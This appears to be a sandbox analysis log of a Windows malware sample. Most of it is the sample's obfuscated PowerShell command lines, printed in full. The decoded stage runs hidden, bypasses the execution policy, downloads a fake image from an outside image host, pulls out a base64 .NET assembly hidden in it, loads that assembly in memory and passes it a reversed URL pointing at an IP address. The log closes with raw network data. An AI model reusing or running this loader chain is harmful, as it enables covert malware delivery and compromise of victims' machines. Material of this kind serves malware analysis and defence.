▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶ZQBu◀▶GQ◀▶RgBs◀▶GE◀▶Zw◀▶p◀▶Ds◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶GU◀▶I◀▶◀▶w◀▶C◀▶◀▶LQBh◀▶G4◀▶Z◀▶◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶HQ◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶r◀▶D0◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C4◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶Ow◀▶k◀▶GI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶Ew◀▶ZQBu◀▶Gc◀▶d◀▶Bo◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶UwB1◀▶GI◀▶cwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶L◀▶◀▶g◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶KQ◀▶7◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶EM◀▶bwBu◀▶HY◀▶ZQBy◀▶HQ◀▶XQ◀▶6◀▶Do◀▶RgBy◀▶G8◀▶bQBC◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BT◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶p◀▶Ds◀▶J◀▶Bs◀▶G8◀▶YQBk◀▶GU◀▶Z◀▶BB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FI◀▶ZQBm◀▶Gw◀▶ZQBj◀▶HQ◀▶aQBv◀▶G4◀▶LgBB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶XQ◀▶6◀▶Do◀▶T◀▶Bv◀▶GE◀▶Z◀▶◀▶o◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶u◀▶Ec◀▶ZQB0◀▶FQ◀▶eQBw◀▶GU◀▶K◀▶◀▶n◀▶EY◀▶aQBi◀▶GU◀▶cg◀▶u◀▶Eg◀▶bwBt◀▶GU◀▶Jw◀▶p◀▶Ds◀▶J◀▶Bt◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶HQ◀▶eQBw◀▶GU◀▶LgBH◀▶GU◀▶d◀▶BN◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶o◀▶Cc◀▶VgBB◀▶Ek◀▶Jw◀▶p◀▶C4◀▶SQBu◀▶HY◀▶bwBr◀▶GU◀▶K◀▶◀▶k◀▶G4◀▶dQBs◀▶Gw◀▶L◀▶◀▶g◀▶Fs◀▶bwBi◀▶Go◀▶ZQBj◀▶HQ◀▶WwBd◀▶F0◀▶I◀▶◀▶o◀▶Cc◀▶d◀▶B4◀▶HQ◀▶LgBv◀▶Go◀▶awBm◀▶GE◀▶Lw◀▶y◀▶DU◀▶Lg◀▶4◀▶DQ◀▶Lg◀▶w◀▶DE◀▶MQ◀▶u◀▶Dk◀▶Nw◀▶v◀▶C8◀▶OgBw◀▶HQ◀▶d◀▶Bo◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBk◀▶GY◀▶Z◀▶Bm◀▶GQ◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶ZgBk◀▶GY◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶ZgBk◀▶GY◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶YQBk◀▶HM◀▶YQ◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶Z◀▶Bl◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBj◀▶HU◀▶Jw◀▶p◀▶Ck◀▶'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2136
thread_handle: 0x000002f4
process_identifier: 2132
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶2◀▶DE◀▶Ng◀▶v◀▶DY◀▶M◀▶◀▶5◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶HY◀▶YgBz◀▶C4◀▶agBw◀▶Gc◀▶Pw◀▶x◀▶DY◀▶OQ◀▶1◀▶DQ◀▶M◀▶◀▶4◀▶Dk◀▶Mw◀▶3◀▶Cc◀▶Ow◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C◀▶◀▶PQ◀▶g◀▶E4◀▶ZQB3◀▶C0◀▶TwBi◀▶Go◀▶ZQBj◀▶HQ◀▶I◀▶BT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶E4◀▶ZQB0◀▶C4◀▶VwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶Ow◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶B3◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶u◀▶EQ◀▶bwB3◀▶G4◀▶b◀▶Bv◀▶GE◀▶Z◀▶BE◀▶GE◀▶d◀▶Bh◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶KQ◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBF◀▶G4◀▶YwBv◀▶GQ◀▶aQBu◀▶Gc◀▶XQ◀▶6◀▶Do◀▶VQBU◀▶EY◀▶O◀▶◀▶u◀▶Ec◀▶ZQB0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶QgB5◀▶HQ◀▶ZQBz◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶UwBU◀▶EE◀▶UgBU◀▶D4◀▶Pg◀▶n◀▶Ds◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶RQBO◀▶EQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶BP◀▶GY◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶ZQBu◀▶GQ◀▶RgBs◀▶GE◀▶Zw◀▶p◀▶Ds◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶GU◀▶I◀▶◀▶w◀▶C◀▶◀▶LQBh◀▶G4◀▶Z◀▶◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶HQ◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶r◀▶D0◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C4◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶Ow◀▶k◀▶GI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶Ew◀▶ZQBu◀▶Gc◀▶d◀▶Bo◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶UwB1◀▶GI◀▶cwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶L◀▶◀▶g◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶KQ◀▶7◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶EM◀▶bwBu◀▶HY◀▶ZQBy◀▶HQ◀▶XQ◀▶6◀▶Do◀▶RgBy◀▶G8◀▶bQBC◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BT◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶p◀▶Ds◀▶J◀▶Bs◀▶G8◀▶YQBk◀▶GU◀▶Z◀▶BB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FI◀▶ZQBm◀▶Gw◀▶ZQBj◀▶HQ◀▶aQBv◀▶G4◀▶LgBB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶XQ◀▶6◀▶Do◀▶T◀▶Bv◀▶GE◀▶Z◀▶◀▶o◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶u◀▶Ec◀▶ZQB0◀▶FQ◀▶eQBw◀▶GU◀▶K◀▶◀▶n◀▶EY◀▶aQBi◀▶GU◀▶cg◀▶u◀▶Eg◀▶bwBt◀▶GU◀▶Jw◀▶p◀▶Ds◀▶J◀▶Bt◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶HQ◀▶eQBw◀▶GU◀▶LgBH◀▶GU◀▶d◀▶BN◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶o◀▶Cc◀▶VgBB◀▶Ek◀▶Jw◀▶p◀▶C4◀▶SQBu◀▶HY◀▶bwBr◀▶GU◀▶K◀▶◀▶k◀▶G4◀▶dQBs◀▶Gw◀▶L◀▶◀▶g◀▶Fs◀▶bwBi◀▶Go◀▶ZQBj◀▶HQ◀▶WwBd◀▶F0◀▶I◀▶◀▶o◀▶Cc◀▶d◀▶B4◀▶HQ◀▶LgBv◀▶Go◀▶awBm◀▶GE◀▶Lw◀▶y◀▶DU◀▶Lg◀▶4◀▶DQ◀▶Lg◀▶w◀▶DE◀▶MQ◀▶u◀▶Dk◀▶Nw◀▶v◀▶C8◀▶OgBw◀▶HQ◀▶d◀▶Bo◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBk◀▶GY◀▶Z◀▶Bm◀▶GQ◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶ZgBk◀▶GY◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶ZgBk◀▶GY◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶YQBk◀▶HM◀▶YQ◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶Z◀▶Bl◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBj◀▶HU◀▶Jw◀▶p◀▶Ck◀▶'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002fc
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶2◀▶DE◀▶Ng◀▶v◀▶DY◀▶M◀▶◀▶5◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶HY◀▶YgBz◀▶C4◀▶agBw◀▶Gc◀▶Pw◀▶x◀▶DY◀▶OQ◀▶1◀▶DQ◀▶M◀▶◀▶4◀▶Dk◀▶Mw◀▶3◀▶Cc◀▶Ow◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C◀▶◀▶PQ◀▶g◀▶E4◀▶ZQB3◀▶C0◀▶TwBi◀▶Go◀▶ZQBj◀▶HQ◀▶I◀▶BT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶E4◀▶ZQB0◀▶C4◀▶VwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶Ow◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶B3◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶u◀▶EQ◀▶bwB3◀▶G4◀▶b◀▶Bv◀▶GE◀▶Z◀▶BE◀▶GE◀▶d◀▶Bh◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶KQ◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBF◀▶G4◀▶YwBv◀▶GQ◀▶aQBu◀▶Gc◀▶XQ◀▶6◀▶Do◀▶VQBU◀▶EY◀▶O◀▶◀▶u◀▶Ec◀▶ZQB0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶QgB5◀▶HQ◀▶ZQBz◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶UwBU◀▶EE◀▶UgBU◀▶D4◀▶Pg◀▶n◀▶Ds◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶RQBO◀▶EQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶BP◀▶GY◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶ZQBu◀▶GQ◀▶RgBs◀▶GE◀▶Zw◀▶p◀▶Ds◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶GU◀▶I◀▶◀▶w◀▶C◀▶◀▶LQBh◀▶G4◀▶Z◀▶◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶HQ◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶r◀▶D0◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C4◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶Ow◀▶k◀▶GI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶Ew◀▶ZQBu◀▶Gc◀▶d◀▶Bo◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶UwB1◀▶GI◀▶cwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶L◀▶◀▶g◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶KQ◀▶7◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶EM◀▶bwBu◀▶HY◀▶ZQBy◀▶HQ◀▶XQ◀▶6◀▶Do◀▶RgBy◀▶G8◀▶bQBC◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BT◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶p◀▶Ds◀▶J◀▶Bs◀▶G8◀▶YQBk◀▶GU◀▶Z◀▶BB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FI◀▶ZQBm◀▶Gw◀▶ZQBj◀▶HQ◀▶aQBv◀▶G4◀▶LgBB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶XQ◀▶6◀▶Do◀▶T◀▶Bv◀▶GE◀▶Z◀▶◀▶o◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶u◀▶Ec◀▶ZQB0◀▶FQ◀▶eQBw◀▶GU◀▶K◀▶◀▶n◀▶EY◀▶aQBi◀▶GU◀▶cg◀▶u◀▶Eg◀▶bwBt◀▶GU◀▶Jw◀▶p◀▶Ds◀▶J◀▶Bt◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶HQ◀▶eQBw◀▶GU◀▶LgBH◀▶GU◀▶d◀▶BN◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶o◀▶Cc◀▶VgBB◀▶Ek◀▶Jw◀▶p◀▶C4◀▶SQBu◀▶HY◀▶bwBr◀▶GU◀▶K◀▶◀▶k◀▶G4◀▶dQBs◀▶Gw◀▶L◀▶◀▶g◀▶Fs◀▶bwBi◀▶Go◀▶ZQBj◀▶HQ◀▶WwBd◀▶F0◀▶I◀▶◀▶o◀▶Cc◀▶d◀▶B4◀▶HQ◀▶LgBv◀▶Go◀▶awBm◀▶GE◀▶Lw◀▶y◀▶DU◀▶Lg◀▶4◀▶DQ◀▶Lg◀▶w◀▶DE◀▶MQ◀▶u◀▶Dk◀▶Nw◀▶v◀▶C8◀▶OgBw◀▶HQ◀▶d◀▶Bo◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBk◀▶GY◀▶Z◀▶Bm◀▶GQ◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶ZgBk◀▶GY◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶ZgBk◀▶GY◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶YQBk◀▶HM◀▶YQ◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶Z◀▶Bl◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBj◀▶HU◀▶Jw◀▶p◀▶Ck◀▶'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2264
thread_handle: 0x00000450
process_identifier: 2260
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ojkfa/25.84.011.97//:ptth' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x00000454
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received [
Data received WemDîzF €Wóó&‡Šµ»dé DOWNGRD s­-ÖÚ! N÷\_n€p!T˄9á+_$Ÿ[™Ë°Ij(—À ÿ 
Data received P
